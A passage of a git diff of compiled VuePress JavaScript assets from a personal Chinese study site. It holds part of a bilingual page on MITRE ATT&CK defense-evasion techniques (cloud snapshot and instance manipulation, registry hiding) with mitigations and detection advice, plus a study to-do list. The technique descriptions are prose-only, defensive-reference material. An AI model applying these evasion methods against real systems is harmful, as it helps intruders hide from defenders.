快照修改"),e("p",null,"为云计算基础架构组件的活动建立集中日志记录。监视可疑的事件序列,例如新用户或意外用户将快照装载到新实例。为了减少误报,有效的变更管理过程可以引入一个已知的标识符,如果云提供商支持,该标识符与变更一起记录(例如,标记或标头),以帮助区分有效的预期操作和恶意操作。")])],-1),te={href:"https://attack.mitre.org/datasources/DS0034",target:"_blank",rel:"noopener noreferrer"},ae={href:"https://attack.mitre.org/datasources/DS0034",target:"_blank",rel:"noopener noreferrer"},oe=e("ul",null,[e("li",null,[e("p",null,"[Volume Creation](https://attack.mitre.org/datasources/DS0034/#Volume Creation) [Volume Deletion](https://attack.mitre.org/datasources/DS0034/#Volume Deletion) [Volume Modification ](https://attack.mitre.org/datasources/DS0034/#Volume Modification) 卷的新增与删除及修改"),e("p",null,"监视意外 创建或出现/删除或缺少 云块存储卷, 监视云块存储卷的意外更改。为了减少误报,有效的变更管理过程可以引入一个已知的标识符,如果云提供商支持,该标识符与变更一起记录(例如,标记或标头),以帮助区分有效的预期操作和恶意操作。")]),e("li",null,[e("p",null,"[Volume Metadata](https://attack.mitre.org/datasources/DS0034/#Volume Metadata) 卷的元数据"),e("p",null,"定期对云块存储卷进行基准测试,以识别恶意修改或添加。")])],-1),re=e("hr",null,null,-1),ne={id:"t1112-modify-registry",tabindex:"-1"},se=e("a",{class:"header-anchor",href:"#t1112-modify-registry","aria-hidden":"true"},"#",-1),ie={href:"https://attack.mitre.org/techniques/T1112",target:"_blank",rel:"noopener noreferrer"},ce=e("p",null,"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. 攻击者可能会与 Windows 注册表交互,以隐藏注册表项中的配置信息、删除信息作为清理的一部分,或作为其他技术的一部分来帮助持久化和执行。",-1),le=e("p",null,"对注册表特定区域的访问权限取决于帐户权限,有些区域需要管理员级别的访问权限。内置的 Windows 命令行实用程序 Reg 可用于本地或远程注册表修改。",-1),he=e("p",null,"也可以使用其他工具,例如远程访问工具,其中可能包含通过 Windows API 与注册表交互的功能。",-1),de=e("p",null,"注册表修改还可能包括隐藏键的操作,例如在键名前面加上空字符,这将导致错误和/或使用 Win32 API 通过 Reg 或其他实用程序读取时被忽略。 攻击者可能会滥用这些伪隐藏密钥来隐藏用于保持持久性的有效负载/命令",-1),ue={href:"https://technet.microsoft.com/en-us/library/cc754820.aspx",target:"_blank",rel:"noopener noreferrer"},pe=e("hr",null,null,-1);function _e(me,fe){const a=n("ExternalLinkIcon");return s(),i("div",null,[h,e("h2",d,[u,t(" T1578 "),e("a",p,[t("Modify Cloud Compute Infrastructure"),o(a)]),t(" 修改云计算基础结构")]),_,m,e("h3",f,[g,t(" T1578.001 "),e("a",k,[t("Create Snapshot"),o(a)]),t(" 创建快照")]),e("p",null,[t("An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in "),e("a",v,[t("Revert Cloud Instance"),o(a)]),t(" where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. 攻击者可能会在云帐户中创建快照或数据备份以逃避防御。快照是现有云计算组件(如虚拟机 (VM)、虚拟硬盘驱动器或卷)的时间点副本。攻击者可以利用权限创建快照,以绕过阻止访问现有计算服务基础架构的限制,这与在还原云实例中不同,在还原云实例中,攻击者可能会还原到快照以逃避检测并删除其存在的证据。")]),S,e("h3",y,[A,t(" T1578.002 "),e("a",M,[t(" Create Cloud Instance"),o(a)]),t(" 创建云实例")]),e("p",null,[t("An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may "),e("a",b,[t("Create Snapshot"),o(a)]),t(" of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect "),e("a",I,[t("Data from Local System"),o(a)]),t(" or for "),e("a",D,[t("Remote Data Staging"),o(a)]),t(". 攻击者可以在云帐户的计算服务中创建新的实例或虚拟机 (VM) 以逃避防御。创建新实例可能允许攻击者绕过当前驻留在账户中的实例上存在的防火墙规则和权限。攻击者可能会在账户中创建一个或多个卷的快照,创建新实例,挂载快照,然后应用限制较少的安全策略来从本地系统收集数据或进行远程数据暂存。")]),V,e("h3",w,[T,t(" T1578.003 "),e("a",C,[t("Delete Cloud Instance"),o(a)]),t(" 删除云实例")]),x,W,e("h3",q,[R,t(" T1578.004"),e("a",P,[t("Revert Cloud Instance"),o(a)]),t(" 恢复云实例")]),z,E,B,e("ul",null,[e("li",null,[e("p",null,[e("a",N,[t("M1047"),o(a)]),t(),e("a",L,[t("Audit"),o(a)]),t(" 审计")]),U]),e("li",null,[e("p",null,[e("a",G,[t("M1018"),o(a)]),t(),e("a",O,[t("User Account Management"),o(a)]),t(" 用户账户管理")]),Y,e("blockquote",null,[j,e("p",null,[e("a",F,[t("AWS IAM Users Versus. IAM Roles: Which One Should You Use? --- AWS IAM 用户与IAM 角色:您应该使用哪一个? (howtogeek.com)"),o(a)])])])])]),H,J,e("ul",null,[e("li",null,[e("p",null,[e("a",K,[t("DS0030"),o(a)]),t(),e("a",Q,[t(" Instance"),o(a)])]),X]),e("li",null,[e("p",null,[e("a",Z,[t("DS0020"),o(a)]),t(),e("a",$,[t("Snapshot"),o(a)]),t(" 快照")]),ee]),e("li",null,[e("p",null,[e("a",te,[t("DS0034"),o(a)]),t(),e("a",ae,[t("Volume"),o(a)]),t(" 卷")]),oe])]),re,e("h2",ne,[se,t(" T1112 "),e("a",ie,[t(" Modify Registry"),o(a)])]),ce,le,he,de,e("p",null,[t("可以修改远程系统的注册表,以帮助执行文件作为横向移动的一部分。它要求远程注册表服务在目标系统上运行。 ["),e("a",ue,[t("5]"),o(a)]),t(" 通常需要有效帐户,以及访问远程系统的 SMB/Windows 管理员共享以进行 RPC 通信。")]),pe])}const ve=r(l,[["render",_e],["__file","TA0005-DefenseEvasion(下).html.vue"]]);export{ve as default};
diff --git "a/assets/TA0005-DefenseEvasion(\344\270\213).html-91d5bda5.js" "b/assets/TA0005-DefenseEvasion(\344\270\213).html-91d5bda5.js"
new file mode 100644
index 0000000000..0147d40fb9
--- /dev/null
+++ "b/assets/TA0005-DefenseEvasion(\344\270\213).html-91d5bda5.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-4a4e2fe5","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/ATTCK/TA0005-DefenseEvasion(%E4%B8%8B).html","title":"TA0005-Defense Evasion(下)","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"T1578 Modify Cloud Compute Infrastructure 修改云计算基础结构","slug":"t1578-modify-cloud-compute-infrastructure-修改云计算基础结构","link":"#t1578-modify-cloud-compute-infrastructure-修改云计算基础结构","children":[{"level":3,"title":"T1578.001 Create Snapshot 创建快照","slug":"t1578-001-create-snapshot-创建快照","link":"#t1578-001-create-snapshot-创建快照","children":[]},{"level":3,"title":"T1578.002 Create Cloud Instance 创建云实例","slug":"t1578-002-create-cloud-instance-创建云实例","link":"#t1578-002-create-cloud-instance-创建云实例","children":[]},{"level":3,"title":"T1578.003 Delete Cloud Instance 删除云实例","slug":"t1578-003-delete-cloud-instance-删除云实例","link":"#t1578-003-delete-cloud-instance-删除云实例","children":[]},{"level":3,"title":"T1578.004Revert Cloud Instance 恢复云实例","slug":"t1578-004revert-cloud-instance-恢复云实例","link":"#t1578-004revert-cloud-instance-恢复云实例","children":[]},{"level":3,"title":"Mitigations 缓解措施","slug":"mitigations-缓解措施","link":"#mitigations-缓解措施","children":[]},{"level":3,"title":"检测方案","slug":"检测方案","link":"#检测方案","children":[]}]},{"level":2,"title":"T1112 Modify Registry","slug":"t1112-modify-registry","link":"#t1112-modify-registry","children":[]}],"git":{"createdTime":1684603817000,"updatedTime":1684603817000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":9.85,"words":2955},"filePathRelative":"网络安全/ATTCK/TA0005-DefenseEvasion(下).md","localizedDate":"2023年5月20日","excerpt":""}');export{e as data};
diff --git a/assets/TODOLIST.html-2dfd111a.js b/assets/TODOLIST.html-2dfd111a.js
new file mode 100644
index 0000000000..bc637c00fe
--- /dev/null
+++ b/assets/TODOLIST.html-2dfd111a.js
@@ -0,0 +1 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as a,c,b as e,e as t,d as l,f as n}from"./app-880c6425.js";const d={},r=n(' 任务清单 先导课程(2021/12/19 - 2022/3/19, 共 13 周) 第 1 周(12.20-12.26) ',3),h={class:"task-list-container"},_={class:"task-list-item"},k=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-0",disabled:"disabled"},null,-1),b={class:"task-list-item-label",for:"task-item-0"},m={href:"https://www.bilibili.com/video/BV1Xx41117tr?p=1",target:"_blank",rel:"noopener noreferrer"},p={class:"task-list-item"},u=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-1",disabled:"disabled"},null,-1),f={class:"task-list-item-label",for:"task-item-1"},x={href:"https://www.bilibili.com/video/BV1Xx41117tr?p=2",target:"_blank",rel:"noopener noreferrer"},g={class:"task-list-item"},y=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-2",disabled:"disabled"},null,-1),E={class:"task-list-item-label",for:"task-item-2"},q={href:"https://www.youtube.com/watch?v=Z56Jmr9Z34Q&list=PLyzOVJj3bHQuloKGG59rS43e29ro7I57J&index=1&t=378s",target:"_blank",rel:"noopener noreferrer"},C=e("br",null,null,-1),B={href:"https://missing.csail.mit.edu/2020/course-shell/",target:"_blank",rel:"noopener noreferrer"},V={class:"task-list-container"},w={class:"task-list-item"},A=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-3",checked:"checked",disabled:"disabled"},null,-1),L={class:"task-list-item-label",for:"task-item-3"},S={href:"https://exercism.org/tracks/c/exercises/armstrong-numbers",target:"_blank",rel:"noopener noreferrer"},v={class:"task-list-item"},D=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-4",checked:"checked",disabled:"disabled"},null,-1),N={class:"task-list-item-label",for:"task-item-4"},P={href:"https://exercism.org/tracks/c/exercises/resistor-color",target:"_blank",rel:"noopener noreferrer"},z={class:"task-list-item"},F=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-5",checked:"checked",disabled:"disabled"},null,-1),I={class:"task-list-item-label",for:"task-item-5"},W={href:"https://exercism.org/tracks/c/exercises/isogram",target:"_blank",rel:"noopener noreferrer"},R={class:"task-list-item"},T=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-6",checked:"checked",disabled:"disabled"},null,-1),G={class:"task-list-item-label",for:"task-item-6"},j={href:"https://exercism.org/tracks/c/exercises/hamming",target:"_blank",rel:"noopener noreferrer"},U={class:"task-list-container"},X={class:"task-list-item"},M=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-7",checked:"checked",disabled:"disabled"},null,-1),O={class:"task-list-item-label",for:"task-item-7"},H={href:"https://leetcode-cn.com/problems/binary-search/",target:"_blank",rel:"noopener noreferrer"},J={class:"task-list-item"},Z=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-8",checked:"checked",disabled:"disabled"},null,-1),K={class:"task-list-item-label",for:"task-item-8"},Q={href:"https://leetcode-cn.com/problems/first-bad-version/",target:"_blank",rel:"noopener noreferrer"},Y={class:"task-list-item"},$=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-9",checked:"checked",disabled:"disabled"},null,-1),ee={class:"task-list-item-label",for:"task-item-9"},te={href:"https://leetcode-cn.com/problems/search-insert-position/",target:"_blank",rel:"noopener noreferrer"},se=e("blockquote",null,[e("p",null,[t("考试周, 结果是寄了, 考试周连着实训, solo小组作业, 任务安排拉满我大半个月, 寄!"),e("br"),t(" 后面 C 语言练习出于收益考量替换为 LeetCode 习题, 从第 5 周开始往前嗯补"),e("br"),t(" 由于差额比较大就开了一个简单的算法入门的学习路线来补(")])],-1),le=e("hr",null,null,-1),ie=e("h3",{id:"第-2-周-12-27-1-2",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#第-2-周-12-27-1-2","aria-hidden":"true"},"#"),t(" 第 2 周(12.27-1.2)")],-1),oe={class:"task-list-container"},ae={class:"task-list-item"},ce=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-10",disabled:"disabled"},null,-1),ne={class:"task-list-item-label",for:"task-item-10"},de={href:"https://www.bilibili.com/video/BV1Xx41117tr?p=3",target:"_blank",rel:"noopener noreferrer"},re={class:"task-list-item"},he=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-11",disabled:"disabled"},null,-1),_e={class:"task-list-item-label",for:"task-item-11"},ke={href:"https://www.bilibili.com/video/BV1Xx41117tr?p=4",target:"_blank",rel:"noopener noreferrer"},be={class:"task-list-item"},me=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-12",disabled:"disabled"},null,-1),pe={class:"task-list-item-label",for:"task-item-12"},ue={href:"https://missing.csail.mit.edu/2020/shell-tools/",target:"_blank",rel:"noopener noreferrer"},fe=e("p",null,"LeetCode",-1),xe={class:"task-list-container"},ge={class:"task-list-item"},ye=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-13",checked:"checked",disabled:"disabled"},null,-1),Ee={class:"task-list-item-label",for:"task-item-13"},qe={href:"https://leetcode-cn.com/problems/squares-of-a-sorted-array/",target:"_blank",rel:"noopener noreferrer"},Ce={class:"task-list-item"},Be=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-14",checked:"checked",disabled:"disabled"},null,-1),Ve={class:"task-list-item-label",for:"task-item-14"},we={href:"https://leetcode-cn.com/problems/rotate-array/",target:"_blank",rel:"noopener noreferrer"},Ae={class:"task-list-item"},Le=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-15",checked:"checked",disabled:"disabled"},null,-1),Se={class:"task-list-item-label",for:"task-item-15"},ve={href:"https://leetcode-cn.com/problems/move-zeroes/",target:"_blank",rel:"noopener noreferrer"},De={class:"task-list-item"},Ne=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-16",checked:"checked",disabled:"disabled"},null,-1),Pe={class:"task-list-item-label",for:"task-item-16"},ze={href:"https://leetcode-cn.com/problems/two-sum-ii-input-array-is-sorted/",target:"_blank",rel:"noopener noreferrer"},Fe={class:"task-list-item"},Ie=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-17",checked:"checked",disabled:"disabled"},null,-1),We={class:"task-list-item-label",for:"task-item-17"},Re={href:"https://leetcode-cn.com/problems/reverse-string/",target:"_blank",rel:"noopener noreferrer"},Te={class:"task-list-item"},Ge=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-18",checked:"checked",disabled:"disabled"},null,-1),je={class:"task-list-item-label",for:"task-item-18"},Ue={href:"https://leetcode-cn.com/problems/reverse-words-in-a-string-iii/",target:"_blank",rel:"noopener noreferrer"},Xe={class:"task-list-item"},Me=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-19",disabled:"disabled"},null,-1),Oe={class:"task-list-item-label",for:"task-item-19"},He={href:"https://leetcode-cn.com/problems/permutation-in-string/",target:"_blank",rel:"noopener noreferrer"},Je=e("hr",null,null,-1),Ze=e("h3",{id:"第-3-周-1-3-1-9",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#第-3-周-1-3-1-9","aria-hidden":"true"},"#"),t(" 第 3 周(1.3-1.9)")],-1),Ke={class:"task-list-container"},Qe={class:"task-list-item"},Ye=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-20",disabled:"disabled"},null,-1),$e={class:"task-list-item-label",for:"task-item-20"},et={href:"https://www.bilibili.com/video/BV1Xx41117tr?p=5",target:"_blank",rel:"noopener noreferrer"},tt={class:"task-list-item"},st=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-21",disabled:"disabled"},null,-1),lt={class:"task-list-item-label",for:"task-item-21"},it={href:"https://www.bilibili.com/video/BV1Xx41117tr?p=6",target:"_blank",rel:"noopener noreferrer"},ot={class:"task-list-item"},at=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-22",disabled:"disabled"},null,-1),ct={class:"task-list-item-label",for:"task-item-22"},nt={href:"https://missing.csail.mit.edu/2020/editors/",target:"_blank",rel:"noopener noreferrer"},dt=e("p",null,"LeetCode",-1),rt={class:"task-list-container"},ht={class:"task-list-item"},_t=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-23",disabled:"disabled"},null,-1),kt={class:"task-list-item-label",for:"task-item-23"},bt={href:"https://leetcode-cn.com/problems/longest-substring-without-repeating-characters/",target:"_blank",rel:"noopener noreferrer"},mt={class:"task-list-item"},pt=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-24",checked:"checked",disabled:"disabled"},null,-1),ut={class:"task-list-item-label",for:"task-item-24"},ft={href:"https://leetcode-cn.com/problems/remove-nth-node-from-end-of-list/",target:"_blank",rel:"noopener noreferrer"},xt={class:"task-list-item"},gt=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-25",checked:"checked",disabled:"disabled"},null,-1),yt={class:"task-list-item-label",for:"task-item-25"},Et={href:"https://leetcode-cn.com/problems/middle-of-the-linked-list/",target:"_blank",rel:"noopener noreferrer"},qt={class:"task-list-item"},Ct=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-26",disabled:"disabled"},null,-1),Bt={class:"task-list-item-label",for:"task-item-26"},Vt={href:"https://leetcode-cn.com/problems/flood-fill/",target:"_blank",rel:"noopener noreferrer"},wt={class:"task-list-item"},At=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-27",disabled:"disabled"},null,-1),Lt={class:"task-list-item-label",for:"task-item-27"},St={href:"https://leetcode-cn.com/problems/max-area-of-island/",target:"_blank",rel:"noopener noreferrer"},vt={class:"task-list-item"},Dt=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-28",disabled:"disabled"},null,-1),Nt={class:"task-list-item-label",for:"task-item-28"},Pt={href:"https://leetcode-cn.com/problems/merge-two-binary-trees/",target:"_blank",rel:"noopener noreferrer"},zt={class:"task-list-item"},Ft=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-29",disabled:"disabled"},null,-1),It={class:"task-list-item-label",for:"task-item-29"},Wt={href:"https://leetcode-cn.com/problems/populating-next-right-pointers-in-each-node/",target:"_blank",rel:"noopener noreferrer"},Rt=e("hr",null,null,-1),Tt=e("h3",{id:"第-4-周-1-10-1-16",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#第-4-周-1-10-1-16","aria-hidden":"true"},"#"),t(" 第 4 周(1.10-1.16)")],-1),Gt={class:"task-list-container"},jt=e("p",null,[e("code",null,"CS 61A SICP-1~4讲-1-21P")],-1),Ut={class:"task-list-container"},Xt={class:"task-list-item"},Mt=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-30",disabled:"disabled"},null,-1),Ot={class:"task-list-item-label",for:"task-item-30"},Ht={href:"https://www.bilibili.com/video/BV12t411p7uz?p=1",target:"_blank",rel:"noopener noreferrer"},Jt={class:"task-list-item"},Zt=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-31",disabled:"disabled"},null,-1),Kt={class:"task-list-item-label",for:"task-item-31"},Qt={href:"https://www.bilibili.com/video/BV12t411p7uz?p=2",target:"_blank",rel:"noopener noreferrer"},Yt={class:"task-list-item"},$t=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-32",disabled:"disabled"},null,-1),es={class:"task-list-item-label",for:"task-item-32"},ts={href:"https://www.bilibili.com/video/BV12t411p7uz?p=7",target:"_blank",rel:"noopener noreferrer"},ss={class:"task-list-item"},ls=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-33",disabled:"disabled"},null,-1),is={class:"task-list-item-label",for:"task-item-33"},os={href:"https://www.bilibili.com/video/BV12t411p7uz?p=11",target:"_blank",rel:"noopener noreferrer"},as={class:"task-list-item"},cs=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-34",disabled:"disabled"},null,-1),ns={class:"task-list-item-label",for:"task-item-34"},ds={href:"https://www.bilibili.com/video/BV12t411p7uz?p=17",target:"_blank",rel:"noopener noreferrer"},rs={class:"task-list-item"},hs=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-35",disabled:"disabled"},null,-1),_s={class:"task-list-item-label",for:"task-item-35"},ks={href:"https://missing.csail.mit.edu/2020/data-wrangling/",target:"_blank",rel:"noopener noreferrer"},bs=e("p",null,"LeetCode",-1),ms={class:"task-list-container"},ps={class:"task-list-item"},us=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-36",disabled:"disabled"},null,-1),fs={class:"task-list-item-label",for:"task-item-36"},xs={href:"https://leetcode-cn.com/problems/01-matrix/",target:"_blank",rel:"noopener noreferrer"},gs={class:"task-list-item"},ys=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-37",disabled:"disabled"},null,-1),Es={class:"task-list-item-label",for:"task-item-37"},qs={href:"https://leetcode-cn.com/problems/rotting-oranges/",target:"_blank",rel:"noopener noreferrer"},Cs={class:"task-list-item"},Bs=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-38",checked:"checked",disabled:"disabled"},null,-1),Vs={class:"task-list-item-label",for:"task-item-38"},ws={href:"https://leetcode-cn.com/problems/merge-two-sorted-lists/",target:"_blank",rel:"noopener noreferrer"},As={class:"task-list-item"},Ls=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-39",checked:"checked",disabled:"disabled"},null,-1),Ss={class:"task-list-item-label",for:"task-item-39"},vs={href:"https://leetcode-cn.com/problems/reverse-linked-list/",target:"_blank",rel:"noopener noreferrer"},Ds={class:"task-list-item"},Ns=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-40",checked:"checked",disabled:"disabled"},null,-1),Ps={class:"task-list-item-label",for:"task-item-40"},zs={href:"https://leetcode-cn.com/problems/combinations/",target:"_blank",rel:"noopener noreferrer"},Fs={class:"task-list-item"},Is=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-41",disabled:"disabled"},null,-1),Ws={class:"task-list-item-label",for:"task-item-41"},Rs={href:"https://leetcode-cn.com/problems/permutations/",target:"_blank",rel:"noopener noreferrer"},Ts={class:"task-list-item"},Gs=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-42",disabled:"disabled"},null,-1),js={class:"task-list-item-label",for:"task-item-42"},Us={href:"https://leetcode-cn.com/problems/letter-case-permutation/",target:"_blank",rel:"noopener noreferrer"},Xs=e("hr",null,null,-1),Ms=e("h3",{id:"第-5-周-1-17-1-23",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#第-5-周-1-17-1-23","aria-hidden":"true"},"#"),t(" 第 5 周(1.17-1.23)")],-1),Os={class:"task-list-container"},Hs=e("code",null,"CS 61A SICP-5~8讲-P22~40",-1),Js={class:"task-list-container"},Zs={class:"task-list-item"},Ks=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-43",disabled:"disabled"},null,-1),Qs={class:"task-list-item-label",for:"task-item-43"},Ys={href:"https://www.bilibili.com/video/BV12t411p7uz?p=22",target:"_blank",rel:"noopener noreferrer"},$s={class:"task-list-item"},el=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-44",disabled:"disabled"},null,-1),tl={class:"task-list-item-label",for:"task-item-44"},sl={href:"https://www.bilibili.com/video/BV12t411p7uz?p=27",target:"_blank",rel:"noopener noreferrer"},ll={class:"task-list-item"},il=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-45",disabled:"disabled"},null,-1),ol={class:"task-list-item-label",for:"task-item-45"},al={href:"https://www.bilibili.com/video/BV12t411p7uz?p=30",target:"_blank",rel:"noopener noreferrer"},cl={class:"task-list-item"},nl=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-46",disabled:"disabled"},null,-1),dl={class:"task-list-item-label",for:"task-item-46"},rl={href:"https://www.bilibili.com/video/BV12t411p7uz?p=36",target:"_blank",rel:"noopener noreferrer"},hl={class:"task-list-item"},_l=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-47",disabled:"disabled"},null,-1),kl={class:"task-list-item-label",for:"task-item-47"},bl={href:"https://missing.csail.mit.edu/2020/command-line/",target:"_blank",rel:"noopener noreferrer"},ml={class:"task-list-container"},pl={class:"task-list-item"},ul=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-48",disabled:"disabled"},null,-1),fl={class:"task-list-item-label",for:"task-item-48"},xl={href:"https://leetcode-cn.com/problems/climbing-stairs/",target:"_blank",rel:"noopener noreferrer"},gl={class:"task-list-item"},yl=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-49",disabled:"disabled"},null,-1),El={class:"task-list-item-label",for:"task-item-49"},ql={href:"https://leetcode-cn.com/problems/house-robber/",target:"_blank",rel:"noopener noreferrer"},Cl={class:"task-list-item"},Bl=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-50",disabled:"disabled"},null,-1),Vl={class:"task-list-item-label",for:"task-item-50"},wl={href:"https://leetcode-cn.com/problems/triangle/",target:"_blank",rel:"noopener noreferrer"},Al={class:"task-list-item"},Ll=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-51",disabled:"disabled"},null,-1),Sl={class:"task-list-item-label",for:"task-item-51"},vl={href:"https://leetcode-cn.com/problems/find-first-and-last-position-of-element-in-sorted-array/",target:"_blank",rel:"noopener noreferrer"},Dl={class:"task-list-item"},Nl=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-52",disabled:"disabled"},null,-1),Pl={class:"task-list-item-label",for:"task-item-52"},zl={href:"https://leetcode-cn.com/problems/search-in-rotated-sorted-array/",target:"_blank",rel:"noopener noreferrer"},Fl={class:"task-list-item"},Il=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-53",disabled:"disabled"},null,-1),Wl={class:"task-list-item-label",for:"task-item-53"},Rl={href:"https://leetcode-cn.com/problems/search-a-2d-matrix/",target:"_blank",rel:"noopener noreferrer"},Tl={class:"task-list-item"},Gl=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-54",disabled:"disabled"},null,-1),jl={class:"task-list-item-label",for:"task-item-54"},Ul={href:"https://leetcode-cn.com/problems/longest-nice-substring/",target:"_blank",rel:"noopener noreferrer"},Xl={class:"task-list-container"},Ml={class:"task-list-item"},Ol=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-55",checked:"checked",disabled:"disabled"},null,-1),Hl={class:"task-list-item-label",for:"task-item-55"},Jl={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/01-Vue%E7%9A%84%E4%BB%8B%E7%BB%8D%E5%92%8Cvue-cli.html#mvvm%E6%A8%A1%E5%BC%8F",target:"_blank",rel:"noopener noreferrer"},Zl={class:"task-list-item"},Kl=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-56",checked:"checked",disabled:"disabled"},null,-1),Ql={class:"task-list-item-label",for:"task-item-56"},Yl={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/02-Vue%E7%9A%84%E7%B3%BB%E7%BB%9F%E6%8C%87%E4%BB%A4.html",target:"_blank",rel:"noopener noreferrer"},$l={class:"task-list-item"},ei=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-57",checked:"checked",disabled:"disabled"},null,-1),ti={class:"task-list-item-label",for:"task-item-57"},si={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/03-v-on%E7%9A%84%E4%BA%8B%E4%BB%B6%E4%BF%AE%E9%A5%B0%E7%AC%A6.html",target:"_blank",rel:"noopener noreferrer"},li={class:"task-list-item"},ii=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-58",checked:"checked",disabled:"disabled"},null,-1),oi={class:"task-list-item-label",for:"task-item-58"},ai={href:"https://github.com/qianguyihao/Web/blob/master/12-Vue%E5%9F%BA%E7%A1%80/04-Vue%E7%9A%84%E7%B3%BB%E7%BB%9F%E6%8C%87%E4%BB%A4(%E4%BA%8C).md",target:"_blank",rel:"noopener noreferrer"},ci={class:"task-list-item"},ni=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-59",disabled:"disabled"},null,-1),di={class:"task-list-item-label",for:"task-item-59"},ri={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/05-Vue%E7%9A%84%E4%B8%BE%E4%BE%8B%EF%BC%9A%E5%88%97%E8%A1%A8%E5%8A%9F%E8%83%BD.html#%E5%88%97%E8%A1%A8%E5%8A%9F%E8%83%BD%E4%B8%BE%E4%BE%8B",target:"_blank",rel:"noopener noreferrer"},hi={class:"task-list-item"},_i=e("input",{type:"checkbox",class:"task-list-item-checkbox",id:"task-item-60",disabled:"disabled"},null,-1),ki={class:"task-list-item-label",for:"task-item-60"},bi={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/06-%E8%87%AA%E5%AE%9A%E4%B9%89%E8%BF%87%E6%BB%A4%E5%99%A8%EF%BC%9A%E6%97%B6%E9%97%B4%E6%A0%BC%E5%BC%8F%E5%8C%96%E4%B8%BE%E4%BE%8B.html",target:"_blank",rel:"noopener 